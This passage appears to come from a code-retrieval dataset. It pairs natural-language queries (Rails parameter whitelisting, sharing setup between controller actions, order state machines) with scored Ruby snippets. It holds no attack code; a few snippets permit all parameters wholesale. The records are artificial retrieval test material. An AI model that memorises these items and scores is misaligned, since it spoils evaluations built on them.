Symbols, got #{require_any_of}\" unless require_any_of.is_a?(Array) && require_any_of.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: One of `#{require_any_of}` must be provided.\" unless @opts.is_a?(Hash) && require_any_of.any? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n\n allow += require_any_of\n end\n\n allow += %i{region} unless allow.include?(:region)\n allow += %i{endpoint} unless allow.include?(:endpoint)\n @opts.delete(:region) if @opts.is_a?(Hash) && @opts[:region].nil?\n\n raise ArgumentError, \"Scalar arguments not supported\" unless defined?(@opts.keys)\n raise ArgumentError, \"Unexpected arguments found\" unless @opts.keys.all? { |a| allow.include?(a) }\n raise ArgumentError, \"Provided parameter should not be empty\" unless @opts.values.all? do |a|\n return true if a.instance_of?(Integer) || a.instance_of?(TrueClass) || a.instance_of?(FalseClass)\n\n !a.empty?\n end\n\n true\n end", "title": "" }, { "docid": "527035c39c066958cc202c06528f2673", "score": "0.59362227", "text": "def patient_list_params\n params.require(:patient_list).permit!\n end", "title": "" }, { "docid": "ab49b0baeea5bf6f204adca9e864094e", "score": "0.59332967", "text": "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "title": "" }, { "docid": "5b53a222b1dec771125370679892e873", "score": "0.5929766", "text": "def sanitize(raw_parameters = {})\n kept_params = {}\n sanitize_nesting(kept_params, @whitelist, symbolize_recursive(raw_parameters))\n kept_params\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.59260756", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.59260756", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.5921627", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "a1a9495fb0e2abd93f64e7d722073f1f", "score": "0.59203607", "text": "def interest_list_params\n params.require(:interest_list).permit(:name, :public, :user_id)\n end", "title": "" }, { "docid": "b3e49440054c3ad3ddb77e29e74a8e4b", "score": "0.59200895", "text": "def sanitized_allowed_attributes=(attributes)\n sanitizer_vendor.safe_list_sanitizer.allowed_attributes = attributes\n end", "title": "" }, { "docid": "7d35b10ac04b461c800fcfea1623a8bb", "score": "0.591923", "text": "def sanitize_by_param(allowed=[], default='id')\n sanitize_params params && params[:by], allowed, default\n end", "title": "" }, { "docid": "7d35b10ac04b461c800fcfea1623a8bb", "score": "0.591923", "text": "def sanitize_by_param(allowed=[], default='id')\n sanitize_params params && params[:by], allowed, default\n end", "title": "" }, { "docid": "9bd89e2fd22e220afe97917f75377374", "score": "0.59133667", "text": "def whitelist\n gather_params(self.jsonschema) if self.jsonschema.present? && self.jsonschema.key?('properties')\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.5912647", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "7f38dfb5bc4d7e89f8aa414e3097f268", "score": "0.5905095", "text": "def allow_access_list(opts)\n opts = check_params(opts,[:self_ips])\n super(opts)\n end", "title": "" }, { "docid": "bf71f22b6a3d024d9581258c3391dd13", "score": "0.59014034", "text": "def filter_params(params); end", "title": "" }, { "docid": "925ab7429771692d76184dc744dc843c", "score": "0.58916956", "text": "def user_list_params\n params.require(:user_list).permit(:user_id, :user_name)\n end", "title": "" }, { "docid": "1c1ee6cc45fd852cab3c1e192bec902b", "score": "0.5888005", "text": "def parametro_params\r\n params.require(:parametro).tap do |whitelisted|\r\n whitelisted[:clave] = params[:parametro][:clave]\r\n whitelisted[:valor] = params[:parametro][:valor]\r\n whitelisted[:bloqueado] = params[:parametro][:bloqueado]\r\n\r\n for i in 0..params[:parametro].count do\r\n whitelisted[\"valor#{i}\".to_sym] = params[:parametro][\"valor#{i}\".to_sym]\r\n end\r\n end\r\n # params.require(:parametro).permit(:clave, :valor)\r\n end", "title": "" }, { "docid": "b248e725f40ba361d6e0529f389090df", "score": "0.5884956", "text": "def filter_by_param(params={})\n if (sub_keys = params[\"allowed_keys\"])\n sub_keys.split(',').select do |key|\n self.allowed_keys.any? {|allowed_key| key.start_with?(allowed_key)}\n end\n else\n self.allowed_keys\n end\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "2dc3ee83e1dce34d199bd757a1bb4956", "score": "0.0", "text": "def set_skater\n @skater = Skater.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6164095", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6046031", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5945298", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.59179014", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58890367", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58341795", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.5776118", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5700777", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5700777", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5656277", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.56218207", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.5423995", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411516", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411516", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411516", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5395004", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53783494", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.53593004", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53412604", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.534078", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.5332865", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53135896", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.52999926", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5297309", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.5296569", "text": "def setup_handler\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.5261449", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.5247048", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52376497", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52376497", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52376497", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52376497", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52376497", "text": "def action; end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.52323204", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.52310973", "text": "def workflow\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.523081", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.5225785", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.5219039", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.52136266", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.5208033", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.520763", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.5177365", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.5175224", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173357", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5166104", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5162502", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51573396", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5154547", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.5153531", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.51502854", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51436496", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.5142863", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.51330835", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5115634", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5115634", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.511527", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5109693", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.51076853", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.5093146", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.5090683", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.50829846", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.50819314", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50670373", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.5055505", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5053398", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50504035", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50504035", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5037765", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5027292", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5024484", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.50150335", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.5014069", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.50022113", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5001542", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.49981874", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.49915564", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.49915564", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49880967", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.4982312", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49787375", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.49786067", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49687737", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.49676532", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.49602765", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49565676", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.49550772", "text": "def around_hooks; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.495342", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.49522525", "text": "def save_action; end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49463704", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49447197", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49362713", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49328062", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49280638", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49272856", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.4927058", "text": "def default_action; end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.49221697", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.4919526", "text": "def advice\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.49185994", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49184805", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49170163", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49168405", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49167764", "text": "def _handle_action_missing(*args); end", "title": "" } ]
90cf8aa3a7825e5ed1bef51d6cd7cb99
state_machine is in /lib/order_flow.rb since I got troubles with emails that was sent twice
[ { "docid": "03f8484c0edf8035337084624888e7c8", "score": "0.0", "text": "def update!(order)\n logger.info 'UPDATE! is called' + self.inspect\n old_state = self.state\n new_state = determine_state(order)\n logger.info \"old_state = #{old_state}; new_state = #{new_state}\" + self.inspect\n if old_state != new_state \n update_attribute_without_callbacks \"state\", new_state\n after_ready if new_state == 'ready' and old_state != 'ready'\n after_ship if new_state == 'shipped' and old_state != 'shipped'\n end\n end", "title": "" } ]
[ { "docid": "1f44d0637e507e1033fcc00743286d04", "score": "0.72871065", "text": "def state_machine\n @state_machine ||= OrderStateMachine.new(self, transition_class: OrderTransition)\n end", "title": "" }, { "docid": "0e3a853eb0a0b091bb7cd6e4cd75075f", "score": "0.7214685", "text": "def state_machine; end", "title": "" }, { "docid": "0e3a853eb0a0b091bb7cd6e4cd75075f", "score": "0.7214685", "text": "def state_machine; end", "title": "" }, { "docid": "0e3a853eb0a0b091bb7cd6e4cd75075f", "score": "0.7214685", "text": "def state_machine; end", "title": "" }, { "docid": "0e3a853eb0a0b091bb7cd6e4cd75075f", "score": "0.7214685", "text": "def state_machine; end", "title": "" }, { "docid": "0e3a853eb0a0b091bb7cd6e4cd75075f", "score": "0.7214685", "text": "def state_machine; end", "title": "" }, { "docid": "0e3a853eb0a0b091bb7cd6e4cd75075f", "score": "0.7214685", "text": "def state_machine; end", "title": "" }, { "docid": "21454ea8a0629bc322c547c9a1688552", "score": "0.68276334", "text": "def order_receive_message_state\n super\n end", "title": "" }, { "docid": "85eaba00f359cb47c7955635b48c5d30", "score": "0.65399516", "text": "def state_machine_name; end", "title": "" }, { "docid": "85eaba00f359cb47c7955635b48c5d30", "score": "0.65399516", "text": "def state_machine_name; end", "title": "" }, { "docid": "4971122ac7893f09428a97ca67c7e9e9", "score": "0.64948076", "text": "def state_message; end", "title": "" }, { "docid": "37c349f5a8c7970d951578c05840f4db", "score": "0.6343217", "text": "def state_machine\n @state_machine ||= RequestWorkflowMachine.new(self, transition_class: RequestTransition)\n end", "title": "" }, { "docid": "2a45b43949f00de54982cbc654523981", "score": "0.6280684", "text": "def state_machine\n @state_machine ||= self.class.instantiate_state_machine_template\n end", "title": "" }, { "docid": "49881c1925e368ad273cfd486e549ebf", "score": "0.61516213", "text": "def set_order_receive_message_state(opts)\n opts = check_params(opts,[:states])\n super(opts)\n end", "title": "" }, { "docid": "3330ae64d7acae9b86c01ec60cb0876d", "score": "0.6140085", "text": "def machine\n workflow_instance = self\n unless workflow_instance.class.transam_workflow_transitions.empty?\n @machine ||= Machine.new(workflow_instance, initial: (workflow_instance.read_attribute(:state) || workflow_instance.class.transam_workflow_transitions.first[:from_state]), action: :save) do\n\n workflow_instance.class.transam_workflow_transitions.each do |attrs|\n if attrs[:event_name].present? && attrs[:from_state].present? && attrs[:to_state].present?\n transition_attrs = {attrs[:from_state] => attrs[:to_state]}\n event_attrs = attrs[:human_name] ? {human_name: attrs[:human_name]} : {}\n if attrs[:guard].present?\n if attrs[:guard].is_a?(Hash)\n transition_attrs[:if] = Proc.new { attrs[:guard].map{|k,v| workflow_instance.state.to_s == k.to_s && workflow_instance.send(v)}.any? }\n else\n transition_attrs[:if] = Proc.new { workflow_instance.send(attrs[:guard]) }\n end\n end\n\n state(attrs[:from_state], {human_name: attrs[:from_state_human_name]}) if attrs[:from_state_human_name].present?\n state(attrs[:to_state], {human_name: attrs[:to_state_human_name]}) if attrs[:to_state_human_name].present?\n\n event(attrs[:event_name], event_attrs) { branches << transition(transition_attrs) }\n end\n end\n\n before_transition do |this_machine, this_transition|\n this_machine.machine_before_transition(this_transition)\n end\n after_transition do |this_machine, this_transition|\n this_machine.machine_after_transition(this_transition)\n end\n end\n end\n end", "title": "" }, { "docid": "0d21264950a428f3ac5dd3e9a2513a24", "score": "0.6129731", "text": "def originating_state; end", "title": "" }, { "docid": "0d21264950a428f3ac5dd3e9a2513a24", "score": "0.6129731", "text": "def originating_state; end", "title": "" }, { "docid": "98b7012c3ca45c2193fca05fba0d1b44", "score": "0.60230774", "text": "def instance_class\n StateMachine\n end", "title": "" }, { "docid": "370362c88ee2e4e45eb584eacc6445b9", "score": "0.60087085", "text": "def stately_machine\n self.instance_variable_get(:@stately_machine)\n end", "title": "" }, { "docid": "667618e5a03b3c05f07e5d2243665218", "score": "0.5946363", "text": "def after_transition(order, attribute_name, event_name, from_state, to_state)\n current_user_session = UserSession.activated? ? UserSession.find : nil\n user = current_user_session ? current_user_session.user : order.user\n\n if OrderMailer.respond_to?(\"deliver_#{to_state}\")\n OrderMailer.send(\"deliver_#{to_state}\", order, user)\n end\n end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": 